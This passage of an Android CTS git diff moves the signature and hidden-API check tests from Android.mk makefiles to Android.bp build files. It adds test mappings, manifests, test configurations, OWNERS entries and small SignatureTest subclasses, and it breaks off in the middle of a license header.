diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 84d7cec..94e082e 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -13,39 +13,4 @@
 # limitations under the License.
 
 LOCAL_PATH:= $(call my-dir)
-
-# cts-signature-common java library
-# =================================
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-
-LOCAL_MODULE := cts-signature-common
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-# signature-hostside java library (for testing)
-# ============================================================
-
-include $(CLEAR_VARS)
-
-# These files are for device-side only, so filter-out for host library
-LOCAL_DEVICE_ONLY_SOURCES := %/CurrentApi.java %/ApiDocumentParser.java %/DexMemberChecker.java
-
-LOCAL_SRC_FILES := $(filter-out $(LOCAL_DEVICE_ONLY_SOURCES), $(call all-java-files-under, src))
-
-LOCAL_MODULE := signature-hostside
-
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/TEST_MAPPING b/tests/signature/TEST_MAPPING
new file mode 100644
index 0000000..dc92081
--- /dev/null
+++ b/tests/signature/TEST_MAPPING
@@ -0,0 +1,72 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAndroidTestMockCurrentApiSignatureTestCases"
+    },
+    {
+      "name": "CtsAndroidTestRunnerCurrentApiSignatureTestCases"
+    },
+    {
+      "name": "CtsApacheHttpLegacyCurrentApiSignatureTestCases"
+    },
+    {
+      "name": "CtsCurrentApiSignatureTestCases"
+    },
+    {
+      "name": "CtsAndroidTestBase28ApiSignatureTestCases"
+    },
+    {
+      "name": "CtsAndroidTestBaseCurrentApiSignatureTestCases"
+    },
+    {
+      "name": "CtsApacheHttpLegacy27ApiSignatureTestCases"
+    },
+    {
+      "name": "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases"
+    },
+    {
+      "name": "CtsIntentSignatureTestCases"
+    },
+    {
+        "name": "CtsHiddenApiKillswitchDebugClassTestCases"
+    },
+    {
+        "name": "CtsHiddenApiKillswitchWhitelistTestCases"
+    },
+    {
+        "name": "CtsHiddenApiKillswitchWildcardTestCases"
+    },
+    {
+        "name": "CtsSystemApiAnnotationTestCases"
+    },
+    {
+        "name": "CtsSystemApiSignatureTestCases"
+    },
+    {
+      "name": "CtsSharedLibsApiSignatureTestCases"
+    },
+    {
+      "name": "signature-host-tests",
+      "host" : true
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsHiddenApiBlacklistApi27TestCases"
+    },
+    {
+        "name": "CtsHiddenApiBlacklistApi28TestCases"
+    },
+    {
+      "name": "CtsHiddenApiBlacklistCurrentApiTestCases"
+    },
+    {
+      "name": "CtsHiddenApiBlacklistDebugClassTestCases"
+    }
+  ]
+}
+
+
+
+
+
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
new file mode 100644
index 0000000..ceb82a4
--- /dev/null
+++ b/tests/signature/api-check/Android.bp
@@ -0,0 +1,86 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libclassdescriptors",
+
+    srcs: ["src/jni/classdescriptors.cpp"],
+    header_libs: ["libopenjdkjvmti_headers"],
+    sdk_version: "current",
+    stl: "c++_static",
+}
+
+java_library {
+    name: "cts-api-signature-test",
+    srcs: ["src/java/**/*.java"],
+    sdk_version: "test_current",
+    static_libs: [
+        "cts-signature-common",
+        "repackaged.android.test.base",
+        "repackaged.android.test.runner",
+    ],
+}
+
+// Defaults for signature api checks.
+java_defaults {
+    name: "signature-api-check-defaults",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "cts-api-signature-test",
+    ],
+    jni_libs: [
+        "libclassdescriptors",
+    ],
+    sdk_version: "test_current",
+    compile_multilib: "both",
+}
+
+// Defaults for hiddenapi killswitch checks.
+java_defaults {
+    name: "hiddenapi-killswitch-check-defaults",
+    defaults: ["cts_defaults"],
+
+    compile_multilib: "both",
+    jni_libs: [
+        "libcts_dexchecker",
+        "libclassdescriptors",
+    ],
+    stl: "c++_static",
+
+    // Tag this module as a cts test artifact
+    sdk_version: "test_current",
+    static_libs: ["cts-api-signature-test"],
+}
+
+// Access the hiddenapi-flags.csv file produced by the build.
+hiddenapi_flags {
+    name: "cts-hiddenapi-flags-csv",
+    filename: "hiddenapi-flags.csv",
+}
+
+// Defaults for hiddenapi blacklist checks.
+java_defaults {
+    name: "hiddenapi-blacklist-check-defaults",
+    defaults: ["signature-api-check-defaults"],
+    java_resources: [
+        ":cts-hiddenapi-flags-csv",
+    ],
+    jni_libs: [
+        "libcts_dexchecker",
+    ],
+}
+
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 272bf1b..337f5b9 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -12,58 +12,5 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
-
-# cts-api-signature-test java library
-# ===================================
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src/java)
-
-LOCAL_MODULE := cts-api-signature-test
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-signature-common \
-    repackaged.android.test.base \
-    repackaged.android.test.runner \
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libclassdescriptors
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := src/jni/classdescriptors.cpp
-LOCAL_HEADER_LIBRARIES := jni_headers libopenjdkjvmti_headers
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_SHARED_LIBRARY)
-
-# hidden API lists
-# ===================================
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-blacklist
-LOCAL_MODULE_STEM := blacklist.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_BLACKLIST),$(LOCAL_BUILT_MODULE)))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-dark-greylist
-LOCAL_MODULE_STEM := dark_greylist.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_DARK_GREYLIST),$(LOCAL_BUILT_MODULE)))
-
-
+LOCAL_PATH:= $(call my-dir)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/OWNERS b/tests/signature/api-check/OWNERS
new file mode 100644
index 0000000..d104dc9
--- /dev/null
+++ b/tests/signature/api-check/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+paulduffin@google.com
diff --git a/tests/signature/api-check/android-test-base-27-api/Android.mk b/tests/signature/api-check/android-test-base-27-api/Android.mk
deleted file mode 100644
index 1adcb12c..0000000
--- a/tests/signature/api-check/android-test-base-27-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestBase27ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-base-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
deleted file mode 100644
index 877e911..0000000
--- a/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_base_27">
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
-    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="27"/>
-
-    <application android:debuggable="true"/>
-
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
-                     android:targetPackage="android.signature.cts.api.android_test_base_27"
-                     android:label="Android Test Base 27 API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
deleted file mode 100644
index bf07983..0000000
--- a/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Android Test Base 27 API Signature test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsAndroidTestBase27ApiSignatureTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.signature.cts.api.android_test_base_27" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
-        <option name="runtime-hint" value="5s" />
-    </test>
-</configuration>
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
new file mode 100644
index 0000000..565aad3
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestBase28ApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
new file mode 100644
index 0000000..dd67533
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_base_28"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28"/>
+
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_base_28"
+                     android:label="Android Test Base 28 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
new file mode 100644
index 0000000..4024e9d
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Base 28 API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestBase28ApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_base_28" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-base-28-api/OWNERS b/tests/signature/api-check/android-test-base-28-api/OWNERS
new file mode 100644
index 0000000..aaadab7
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../android-test-base-current-api/OWNERS
diff --git a/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java b/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java
new file mode 100644
index 0000000..8cbb511
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.api28.test;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
new file mode 100644
index 0000000..8ddb74f
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..1467a63
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_base_current"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.base" />
+    </application>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_base_current"
+                     android:label="Android Test Base Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
new file mode 100644
index 0000000..d0756b9
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Base Current API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_base_current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-base-current-api/OWNERS b/tests/signature/api-check/android-test-base-current-api/OWNERS
new file mode 100644
index 0000000..682d0b0
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 24949
+paulduffin@google.com
+jiyong@google.com
+tnorbye@google.com
diff --git a/tests/signature/api-check/android-test-base-current-api/src/java/android/signature/cts/api/current/test/SignatureTest.java b/tests/signature/api-check/android-test-base-current-api/src/java/android/signature/cts/api/current/test/SignatureTest.java
new file mode 100644
index 0000000..15bcd09
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/src/java/android/signature/cts/api/current/test/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current.test;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
new file mode 100644
index 0000000..e836409
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-mock-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
deleted file mode 100644
index b60f6a3..0000000
--- a/tests/signature/api-check/android-test-mock-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-mock-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
index f0fc8e1..8a4dcdc 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -16,11 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_mock_current">
+          package="android.signature.cts.api.android_test_mock_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application android:debuggable="true">
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true">
         <uses-library android:name="android.test.mock"/>
     </application>
 
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index c5ecdbd..fccf9c7 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -16,13 +16,8 @@
 <configuration description="Config for CTS Android Test Mock Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
@@ -30,8 +25,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.android_test_mock_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+        <option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-mock-current-api/src/android/signature/cts/api/current/mock/SignatureTest.java b/tests/signature/api-check/android-test-mock-current-api/src/android/signature/cts/api/current/mock/SignatureTest.java
new file mode 100644
index 0000000..758188a
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/src/android/signature/cts/api/current/mock/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current.mock;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
new file mode 100644
index 0000000..2a6dd7d
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
